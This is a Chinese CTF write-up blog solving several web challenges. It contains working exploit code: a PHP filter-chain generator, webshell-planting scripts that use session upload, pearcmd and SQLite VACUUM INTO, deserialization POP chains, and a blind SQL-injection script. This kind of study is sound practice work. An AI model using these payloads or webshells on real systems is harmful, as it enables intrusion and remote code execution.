'F' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB',
'G' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90',
'H' => 'convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213',
'I' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213',
'J' => 'convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4',
'K' => 'convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE',
'L' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC',
'M' => 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T',
'N' => 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4',
'O' => 'convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775',
'P' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB',
'Q' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2',
'R' => 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4',
'S' => 'convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS',
'T' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103',
'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'V' => 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB',
'W' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936',
'X' => 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932',
'Y' => 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361',
'Z' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16',
'a' => 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE',
'b' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE',
'c' => 'convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2',
'd' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'e' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937',
'f' => 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213',
'g' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8',
'h' => 'convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE',
'i' => 'convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000',
'j' => 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16',
'k' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2',
'l' => 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE',
'm' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949',
'n' => 'convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61',
'o' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE',
'p' => 'convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4',
'q' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2',
'r' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101',
's' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90',
't' => 'convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS',
'u' => 'convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61',
'v' => 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO_6937-2:1983.R9|convert.iconv.OSF00010005.IBM-932',
'w' => 'convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE',
'x' => 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS',
'y' => 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT',
'z' => 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937',
);

$filters = "convert.base64-encode|";
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
$filters .= "convert.iconv.UTF8.UTF7|";

foreach (str_split(strrev($base64_payload)) as $c) {
$filters .= $conversions[$c] . "|";
$filters .= "convert.base64-decode|";
$filters .= "convert.base64-encode|";
$filters .= "convert.iconv.UTF8.UTF7|";
}

$filters .= "convert.base64-decode";

$final_payload = "php://filter/{$filters}/resource=/etc/passwd";
echo($final_payload);

即可获得flag。

2026.4.16 ctfshow单身杯_ez_inject

根据提示,登陆或者注册路由存在污染,由于是flask,所以应该是python原型链污染,猜测后端代码为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from flask import *
import os
app = Flask(__name__)
app.config['SECRET_KEY'] = 'meteorkai'

class test:
def __init__(self):
pass

def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

print(app.config['SECRET_KEY'])
instance = test()
payload = {
"__init__":{
"__globals__":{
"app":{
"config":{
"SECRET_KEY":"shuaige"
}
}
}
}
}
merge(payload, instance)

print(app.config['SECRET_KEY'])

payload如下:

1
2
3
curl -is -X POST 'http://e947e786-4a39-413f-9c35-2c92e54bb132.challenge.ctf.show/register' \
-H 'Content-Type: application/json' \
--data '{"username":"1231b","password":"aaaa","__init__":{"__globals__":{"app":{"_static_folder":"/"}}}}'

把static污染成/

访问/static/flag即可获得flag

2026.4.17 ctfshow西瓜杯_CodeInject

访问后显示源码

1
2
3
4
5
6
7
8
<?php

#Author: h1xa

error_reporting(0);
show_source(__FILE__);

eval("var_dump((Object)$_POST[1]);");

可传参1=a);闭合然后再跟指令。

直接1=a);system(“cat /000f1ag.txt”);?>即可。

2026.4.17 ctfshow西瓜杯Ezzz_php

访问,显示源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php 
highlight_file(__FILE__);
error_reporting(0);
function substrstr($data)
{
$start = mb_strpos($data, "[");
$end = mb_strpos($data, "]");
return mb_substr($data, $start + 1, $end - 1 - $start);
}
class read_file{
public $start;
public $filename="/etc/passwd";
public function __construct($start){
$this->start=$start;
}
public function __destruct(){
if($this->start == "gxngxngxn"){
echo 'What you are reading is:'.file_get_contents($this->filename);
}
}
}
if(isset($_GET['start'])){
$readfile = new read_file($_GET['start']);
$read=isset($_GET['read'])?$_GET['read']:"I_want_to_Read_flag";
if(preg_match("/\[|\]/i", $_GET['read'])){
die("NONONO!!!");
}
$ctf = substrstr($read."[".serialize($readfile)."]");
unserialize($ctf);
}else{
echo "Start_Funny_CTF!!!";
}

参考连接:Web-逃跑大师–第二届黄河流域公安院校网络空间安全技能邀请赛_web 题目描述: ‘逃’出生天?-CSDN博客

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
2. mb_substr和mb_strpos函数漏洞
mb_strpos() 和 mb_substr() 是 PHP 中用于处理多字节字符的函数,专门用于处理 UTF-8 或其他多字节编码的字符串。
(1)mb_strpos: 用于查找一个字符串在另一个字符串中第一次出现的位置(索引),返回结果是该子字符串第一次出现的位置(索引)。
mb_strpos(string $haystack, string $needle, int $offset = 0, string $encoding = null): int|false
$haystack:要在其中搜索子字符串的源字符串。
$needle:要搜索的子字符串。
$offset(可选):从哪个位置开始搜索,默认为 0。
$encoding(可选):要使用的字符编码,默认为内部字符编码。

(2)mb_substr: 用于获取一个字符串的子串,返回结果是指定位置和长度的子字符串。
mb_substr(string $string, int $start, int $length = null, string $encoding = null): string|false
$string:要截取的原始字符串。
$start:截取的起始位置。如果是负数,则表示从末尾开始计数。
$length(可选):要截取的长度。如果未指定,则默认截取至字符串的末尾。
$encoding(可选):要使用的字符编码,默认为内部字符编码。


当以 \xF0 开头的字节序列出现在 UTF-8 编码中时,通常表示一个四字节的 Unicode 字符。这是因为 UTF-8 编码规范定义了以 \xF0 开头的字节序列用于编码较大的 Unicode 字符。
不符合4位的规则的话,mb_substr和mb_strpos执行存在差异:
(1)mb_strpos遇到\xF0时,会把无效字节先前的字节视为一个字符,然后从无效字节重新开始解析
mb_strpos("\xf0\x9fAAA<BB", '<'); #返回4 \xf0\x9f视作是一个字节,从A开始变为无效字节 #A为\x41 上述字符串其认为是7个字节

(2)mb_substr遇到\xF0时,会把无效字节当做四字节Unicode字符的一部分,然后继续解析
mb_substr("\xf0\x9fAAA<BB", 0, 4); #"\xf0\x9fAAA<B" \xf0\x9fAA视作一个字符 上述字符串其认为是5个字节

结论:mb_strpos相对于mb_substr来说,可以把索引值向后移动

所以:
每发送一个%f0abc,mb_strpos认为是4个字节,mb_substr认为是1个字节,相差3个字节
每发送一个%f0%9fab,mb_strpos认为是3个字节,mb_substr认为是1个字节,相差2个字节
每发送一个%f0%9f%9fa,mb_strpos认为是2个字节,mb_substr认为是1个字节,相差1个字节

实现读取任意文件,接下来要rce,参考【翻译】从设置字符集到RCE:利用 GLIBC 攻击 PHP 引擎(篇一)-先知社区

即可获得flag

2026.4.18 ctfshow元旦水友赛easy_include

题目源码如下:

1
2
3
4
5
6
7
8
9
10
<?php

function waf($path){
$path = str_replace(".","",$path);
return preg_match("/^[a-z]+/",$path);
}

if(waf($_POST[1])){
include "file://".$_POST[1];
}

禁止点号,并且必须用字母开头

可以用1=localhost/etc/passwd成功读取。

方法一,session临时文件包含

由于cookie中存在phpsessid,所以开启了session。

php中上传文件时,如果 POST 中带:PHP_SESSION_UPLOAD_PROGRESS=xxx,则会自动把xxx写入/tmp/sess_<PHPSESSID>。

所以可以条件竞争来临时文件包含,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import requests
import io
import threading

url = "http://ddb8fd68-06c8-467f-89b3-6f5be7095d12.challenge.ctf.show/"
session_id = "awa"


def write(session):
filebytes = io.BytesIO(b'a' * 1024 * 50)
while True:
res = session.post(url,
data={
'PHP_SESSION_UPLOAD_PROGRESS': "<?php eval($_POST[2]);?>"
},
cookies={
'PHPSESSID': session_id
},
files={
'file': ('awa.jpg', filebytes)
}
)


def read(session):
while True:
res = session.post(url,
data={
"1": "localhost/tmp/sess_" + session_id,
"2": "file_put_contents('/var/www/html/awa.php' , '<?php eval($_POST[3]);?>');"

},
cookies={
"PHPSESSID": session_id
}
)
res2 = session.get("http://ddb8fd68-06c8-467f-89b3-6f5be7095d12.challenge.ctf.show//awa.php")
if res2.status_code == 200:
print("成功写入一句话!")
else:
print("Retry")


if __name__ == "__main__":
evnet = threading.Event()
with requests.session() as session:
for i in range(5):
threading.Thread(target=write, args=(session,)).start()
for i in range(5):
threading.Thread(target=read, args=(session,)).start()
evnet.set()

方法二,pear

参考Docker PHP裸文件本地包含综述 - 跳跳糖

第一次先建立木马文件

get传

1
/?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST[2]);?>+/tmp/awa.php

post传

1
1=localhost/usr/local/lib/php/pearcmd.php

第二次包含木马文件并获得flag

post传

1
1=localhost/tmp/cmd.php&2=system('tac /flag_is_here.txt');

2026.4.19 元旦水友赛easy_web

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
<?php
// 设置HTTP头,启用错误报告但禁用显示(error_reporting(0)隐藏所有错误)
header('Content-Type:text/html;charset=utf-8');
error_reporting(0);

/**
* 第一个过滤函数:检查输入数组的所有值是否包含字母(大小写)
* @param array $Chu0 待检查的数组(比如$_REQUEST)
* 如果任何值包含字母,则输出"waf1"并退出程序
*/
function waf1($Chu0){
foreach ($Chu0 as $name => $value) {
if(preg_match('/[a-z]/i', $value)){ // 正则匹配任意字母(不区分大小写)
exit("waf1");
}
}
}

/**
* 第二个过滤函数:检查字符串是否包含"show"(不区分大小写)
* @param string $Chu0 待检查的字符串(比如QUERY_STRING)
* 如果包含"show",则输出"waf2"并退出
*/
function waf2($Chu0){
if(preg_match('/show/i', $Chu0))
exit("waf2");
}

/**
* 对参数$a进行复杂的检查,用于file_put_contents路径过滤
* @param string $a 用户输入的name参数(将用作文件名)
* @return bool 返回true表示阻止写入,false表示允许写入
*
* 功能:
* - 统计字符串中'base64'出现的次数,必须恰好出现1次
* - 不能包含以下危险协议/关键词:ucs-2, phar, data, input, zip, flag, %
* - 如果base64出现次数≠1或包含危险关键词,返回true(阻止写入)
*/
function waf_in_waf_php($a){
$count = substr_count($a,'base64'); // 计算"base64"出现的次数
echo "hinthinthint,base64喔"."<br>"; // 提示信息,告诉用户要用base64
if($count!=1){
return True; // 次数不是1就拦截
}
// 检查是否包含危险协议/关键词(不区分大小写)
if (preg_match('/ucs-2|phar|data|input|zip|flag|\%/i',$a)){
return True; // 包含则拦截
}else{
return false; // 通过检查,允许写入
}
}

/**
* 类ctf:反序列化时会触发__wakeup()抛出异常,但__destruct()在对象销毁时调用
* 关键点:__destruct中调用 $this->h1->nonono($this->h2)
*/
class ctf{
public $h1;
public $h2;

// 反序列化时自动调用,抛出异常会中断程序,但注意异常可能在销毁前抛出
public function __wakeup(){
throw new Exception("fastfast");
}

// 对象销毁时自动调用(例如脚本结束或变量被覆盖)
public function __destruct()
{
$this->h1->nonono($this->h2); // 调用h1对象的nonono方法,参数为h2
}
}

/**
* 类show:当调用不存在的方法时会触发__call
* 检查参数$args[0][0][2]中是否包含"ctf"字符串
*/
class show{
// $name: 调用的方法名,$args: 参数数组
public function __call($name,$args){
// $args[0] 是第一个参数,[0][2]表示第一个参数的第一个元素的第三个字符?实际是三维数组
// 这里检查的是 $args[0][0][2] 是否包含"ctf"(很奇怪的索引,可能是故意设计)
if(preg_match('/ctf/i',$args[0][0][2])){
echo "gogogo";
}
}
}

/**
* 类Chu0_write:核心危险类,包含文件写入和代码执行功能
* 属性:chu0, chu1, cmd
*/
class Chu0_write{
public $chu0;
public $chu1;
public $cmd;

// 构造函数初始化chu0为字符串'xiuxiuxiu'
public function __construct(){
$this->chu0 = 'xiuxiuxiu';
}

/**
* 当对象被当作字符串使用时(如echo $obj)自动调用
* 包含文件写入和eval执行的核心逻辑
*/
public function __toString(){
echo "__toString"."<br>"; // 调试输出
// 关键条件:chu0 必须全等于 chu1(值和类型都相同)
if ($this->chu0===$this->chu1){
// 拼接内容,开头固定为'ctfshowshowshowwww',后面加上GET参数chu0
$content='ctfshowshowshowwww'.$_GET['chu0'];

// 检查文件名(GET['name'])是否通过waf_in_waf_php过滤
if (!waf_in_waf_php($_GET['name'])){
// 通过则写入文件:文件名 = $_GET['name'] . ".txt",内容为$content
file_put_contents($_GET['name'].".txt",$content);
}else{
echo "绕一下吧孩子"; // 未通过则提示
}

// 读取'ctfw.txt'文件内容到$tmp
$tmp = file_get_contents('ctfw.txt');
echo $tmp."<br>"; // 输出文件内容

// 对GET['cmd']进行严格过滤:不能包含 f,l,a,g,x,*,?, [, ], 空格, ', <, >, %
if (!preg_match("/f|l|a|g|x|\*|\?|\[|\]| |\'|\<|\>|\%/i",$_GET['cmd'])){
// 执行:$tmp($_GET['cmd']) ,即把$tmp当作函数名,参数为cmd
eval($tmp($_GET['cmd']));
}else{
echo "waf!";
}

// 最后清空ctfw.txt文件
file_put_contents("ctfw.txt","");
}
return "Go on"; // 无论是否进入if,都返回这个字符串
}
}

// 主程序入口
if (!$_GET['show_show.show']){
// 如果没有传入参数show_show.show,则显示源代码
echo "开胃小菜,就让我成为签到题叭";
highlight_file(__FILE__);
}else{
// 有参数时,启动过滤流程
echo "WAF,启动!";

// 第一层:对$_REQUEST(包含GET/POST/COOKIE)每个值检查是否含字母
waf1($_REQUEST);

// 第二层:对QUERY_STRING(原始查询字符串)检查是否含"show"
waf2($_SERVER['QUERY_STRING']);

// 第三层:检查反序列化字符串是否以"O:"或"a:"开头后跟数字(对象或数组格式)
// 注意:^[Oa]:[\d] 匹配 O:数字 或 a:数字 开头的字符串
if (!preg_match('/^[Oa]:[\d]/i', $_GET['show_show.show'])){
// 不匹配则进行反序列化
unserialize($_GET['show_show.show']);
}else{
echo "被waf啦";
}
}

提示为:php版本为5.5.9

这个版本可以绕过wakeup

这题的关键是三段:

  1. 进入 unserialize($_GET['show_show.show'])
  2. 通过 POP 链触发 Chu0_write::__toString()
  3. 写出 systemctfw.txt,再执行 system('env'),从环境变量里拿 FLAG

首先需要知道php的几个特性:

1
1.如果直接传?show_show.show=1,php会将其变成show_show_show=1,但只要传show[show.show=1就行了,将[变成_后就不会再将.变成_
1
2.$_REQUEST,当 GET 和 POST 有相同的变量时,优先匹配 POST 的变量,用来绕过waf1

接下来绕过waf2,只需要对参数进行url编码就可以了。

反序列化前还有一层:

1
2
3
if (!preg_match('/^[Oa]:[\d]/i',$_GET['show_show.show'])){
unserialize($_GET['show_show.show']);
}

不能直接以 O:...a:... 开头。

这里用 ArrayObjectC: 序列化格式绕过:

1
C:11:"ArrayObject":...

这样既能 unserialize,又不匹配 ^O: / ^a:

Pop链如下:

1
2
3
4
5
ctf::__destruct()
-> $this->h1->nonono($this->h2)
-> show::__call($name, $args)
-> preg_match('/ctf/i', $args[0][0][2])
-> Chu0_write::__toString()

exp如下:

1
2
3
4
5
6
7
$a = new ctf();
$a->h1 = new show();

$b = new Chu0_write();
$b->chu1 = &$b->chu0;

$a->h2 = array(array('', '', $b));

接下来还需要绕过拼接。

__toString() 里:

1
2
3
4
5
6
$content='ctfshowshowshowwww'.$_GET['chu0'];
if (!waf_in_waf_php($_GET['name'])){
file_put_contents($_GET['name'].".txt",$content);
}
$tmp = file_get_contents('ctfw.txt');
eval($tmp($_GET['cmd']));

目标是让:

1
$tmp === "system"

但写入文件时前面会强行拼上:

1
ctfshowshowshowwww

因此不能直接写 system,而要利用 php://filter 做“去杂”。

payload:

1
php://filter/convert.quoted-printable-decode/convert.iconv.utf-16.utf-8/convert.base64-decode/resource=ctfw

执行env指令成功获取flag

2026.4.20 [CISCN 2023 华北]ez_date

题目源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
error_reporting(0);
highlight_file(__FILE__);
class date{
public $a;
public $b;
public $file;
public function __wakeup()
{
if(is_array($this->a)||is_array($this->b)){
die('no array');
}
if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){
$content=date($this->file);
$uuid=uniqid().'.txt';
file_put_contents($uuid,$content);
$data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
echo file_get_contents($data);
}
else{
die();
}
}
}

unserialize(base64_decode($_GET['code']));

首先不能用数组绕过md5,但可以令a=1,b=’1’,这样绕过。

date会将flag变成fThursdaypm11,可以用/f\l\a\g来绕过。

然后就能获取flag了。

2026.5.10 ACTF Real DLsite

题目附件给出了dockerfile,让ai辅助审计一下,可知:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
先看附件 Dockerfile,可以得到题目的核心结构:
/ 是一个老 PHP 文件下载站
/new 是 go-drive v0.12.0
/ancient 是 Python CGI
存在一个 SUID root 程序 /usr/sbin/StorageBox
root 的 cron 每 5 分钟会执行一次:
APP_SECRET="$(cat /run/secrets/www)" exec su -s /bin/bash -p www-data -c 'StorageBox put /var/www/html/db.sqlite'
同时还能看出几个关键限制:
PHP-FPM 和 go-drive 都经过 no_priv
即 NoNewPrivs=1
PHP 开了 open_basedir
还禁了很多危险函数
第一眼会很容易把思路放到:
拿到 www-data
泄露 APP_SECRET
利用 StorageBox 的 put/get 和竞态拿 root 目录里的 flag

访问http://web-0f6468c0da.adworld.xctf.org.cn/manage?p=/,发现不需要要输入密码就可以进入后台(也就是密码为空),发现是sql控制台。

2

数据库版本为SQLite,支持VACUUM INTO "/path/to/file"

SQLite插入木马文件,指令如下;

1
2
3
4
5
6
7
curl -is \\
--data-urlencode 'manage=' \
--data-urlencode 'namei=/shellseed' \
--data-urlencode 'typei=x' \
--data-urlencode 'valuei=<?php eval($_POST[1]);?>' \
--data-urlencode 'qi=1' \
'http://web-0f6468c0da.adworld.xctf.org.cn//manage?p=/'

然后导出,指令如下:

1
2
3
4
curl -is \rl -is \
--data-urlencode 'manage=' \
--data-urlencode 'sql=VACUUM INTO "/var/www/html/dl/p5.php"' \
'http://web-0f6468c0da.adworld.xctf.org.cn/manage?p=/'

访问http://web-0f6468c0da.adworld.xctf.org.cn/view?p=/p5.php

3

rce成功。

确定环境情况

4

发现

  • open_basedir 只允许读 /var/www/html/tmp/app/data/local/test
  • exec/system/proc_open/copy/rename/symlink/... 等被禁用
  • FFI 也不能直接用

查看tmp目录

1
1=echo json_encode(scandir("/tmp"));

返回[“.”,”..”,”go-drive-bootstrap.log”,”loot”,”preload.php”,”supervisord.log”]

查看loot目录

1
1=echo json_encode(scandir("/tmp/loot"));

返回[“.”,”..”,”err”,”flag”,”root”,”www”]

查看/tmp/loot/flag

1
echo file_get_contents('/tmp/loot/flag');

获得flag

2026.5.11 ACTF 12307

比赛时这是小登做的,我现在复现下

题目给出了源代码。

dockerfile中

1
COPY --chmod=0600 --chown=root:root flag /flag

flag在根目录,需要root权限才能读取,因此需要提权,dockerfile中还写了:

1
2
chown root:root /usr/bin/base64
chmod 4755 /usr/bin/base64

可以用base64 来suid提权,所以接下来只需要rce就行了。

继续审计,重点找命令执行,在services/print_spooler/worker.py找到以下代码:

1
2
3
4
5
6
7
8
9
program = str(ticket.get("driverProgram", ""))
argument = str(ticket.get("driverArgument", ""))
accepted = route.get("acceptedPrograms")
if not isinstance(accepted, list) or program not in
[str(item) for item in accepted]:
publish(ticket_id, "review")
return
value = run_driver(program, argument)
publish(ticket_id, "ready", value)

worker 会从 ticket 中取:

  • driverProgram
  • driverArgument

然后检查 program 是否在当前 profile 的acceptedPrograms 白名单里,通过后调用 run_driver(program, argument)。

同时,同文件的run_driver()

1
2
3
4
5
6
def run_driver(program, argument):
if not program.startswith(os.path.join("/", "usr",
"bin", "")):
return ""
if not argument.startswith(os.path.join("/", "")):
return ""

只能执行 /usr/bin/ 目录下的程序,且必须是绝对路径格式。

同时,worker.py里面

1
2
3
4
5
6
7
8
profile = str(ticket.get("driverProfile", ""))
route = device_map().get(profile)
...
accepted = route.get("acceptedPrograms")
if not isinstance(accepted, list) or program not in
[str(item) for item in accepted]:
publish(ticket_id, "review")
return

而 device_map() 来自 SPOOL_HOME/device-map.json

1
2
3
def device_map():
return safe_json(read_text("device-map.json"), {})
or {}

这个文件是在 Dockerfile 的 /start.sh 里生成的:

1
2
3
4
5
6
7
8
9
10
cat > /run/rail-spool/device-map.json <<'MAP'
{
"profile-delta-closeout": {"codec":"settlement-
filter","acceptedPrograms":["/usr/bin/base64"]},
"profile-north-closeout": {"codec":"settlement-
filter","acceptedPrograms":["/usr/bin/printf"]},
"profile-baggage-preview": {"codec":"settlement-
filter","acceptedPrograms":["/usr/bin/printf"]}
}
MAP

因此最关键的目标就是让流程走到:

  • station = HGH
  • device = PR-HGH-042
  • profile = profile-delta-closeout
  • driverProgram = /usr/bin/base64
  • driverArgument = /flag

继续查看代码

services/station_portal/app.py

1
2
3
def fare_scope_expression(scope):
if scope.get("mode") == "legacy-rank":
return str(scope.get("expr", "ticket_no"))[:240]

然后直接拼接到了sql

1
2
3
4
5
sql = (
"SELECT ticket_no,station_code,status FROM ticket_index "
"WHERE station_code IN (%s,'BJP') "
f"ORDER BY {scope} LIMIT 1"
)

services/station_portal/app.py中:

1
2
3
4
expected_digest = claim_digest(order_id, train_id, station_code, ticket_no, claim_salt)
expected_proof = claim_proof(order_id, train_id, station_code, ticket_no, claim_salt, claim_digest)
if artifact["claim_digest"] != expected_digest or submitted_proof != expected_proof:
send_json(self, 409, {"error": "binding_review"})

adjust_ticket 需要合法 claimProof,所以必须先盲取这个订单对应的 claim_salt

继续审计,发现json解析差异漏洞,这是后续的关键

services/receipt_signer/app.py中:

1
2
public_view = json.loads(payload_text, object_pairs_hook=first_wins_object)
render_view = json.loads(payload_text)

校验只看 public_view,但真正渲染使用的是 render_view。前者同名key取第一个,后者是取最后一个

接下来正式开始做题。

第一步,建立乘客会话并拿到 waitlist channel

首先点击cotinue,然后

1
2
POST /api/mobile/orders/hold
{"trainId":"G7608","seatClass":"business","holdMode":"waitlist"}

它会自动补完 session continuation,并返回:

  • passenger_session
  • waitlist_session

第二步,创建 waitlisted 订单

1
2
POST /api/mobile/orders
{"trainId":"G7608","seatClass":"business","passenger":"ctf-player"}

拿到orderId:OILQJUUU8SU

第三步,用 ORDER BY 盲注拿 claim_salt

因为 adjust_ticket 需要合法 claimProof,我们必须先盲取 station_claim_artifacts.claim_salt

这里利用 fare reprice 的响应 bucket 作为 oracle:

  • 如果排序第一条是 BJP 记录,则返回 north-window
  • 如果排序第一条是 HGH 记录,则返回 local-window

所以可以构造:

1
IF((condition), station_code='BJP', station_code='HGH')

再据 bucket 判断 condition 真伪。

例如:

1
2
3
IF((SELECT ASCII(SUBSTRING(claim_salt,1,1)) FROM station_claim_artifacts WHERE order_id='OILQJUUU8SU')>80,
station_code='BJP',
station_code='HGH')

二分时要注意:我们判断的是 ASCII(...) > mid,最后字符应取 最后一个为真的 mid + 1。

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
#!/usr/bin/env python3
import json
import subprocess
import hashlib

BASE = "http://web-1e0842a2f3.adworld.xctf.org.cn"
COOKIE = "cookies.txt"

ORDER_ID = "OILQJUUU8SU" # 目标 waitlisted 订单
TRAIN_ID = "G7608"
STATION = "HGH"
TICKET_NO = "T-HGH-7608-019"


def post_json(path, data):
out = subprocess.check_output([
"curl", "-sS",
"-b", COOKIE, "-c", COOKIE,
"-H", "Content-Type: application/json",
"-X", "POST", BASE + path,
"--data", json.dumps(data, separators=(",",
":"))
], text=True)
return json.loads(out)


def bucket(expr: str) -> str:
j = post_json("/api/desk/fares/reprice", {
"stationCode": "HGH",
"amount": 1,
"tariffScope": {
"mode": "legacy-rank",
"expr": expr
}
})
return j["quote"]["bucket"]


def oracle(cond: str) -> bool:
# True -> local-window, False -> north-window
expr =
f"IF(({cond}),station_code='BJP',station_code='HGH')"
return bucket(expr) == "local-window"


def leak_char(pos: int) -> str:
lo, hi = 32, 126
while lo < hi:
mid = (lo + hi + 1) // 2
cond = (
f"(SELECT ASCII(SUBSTRING(claim_salt,
{pos},1)) "
f"FROM station_claim_artifacts WHERE
order_id='{ORDER_ID}')>{mid}"
)
if oracle(cond):
lo = mid
else:
hi = mid - 1
return chr(lo + 1) # 注意这里要 +1


def leak_salt(length=9) -> str:
out = ""
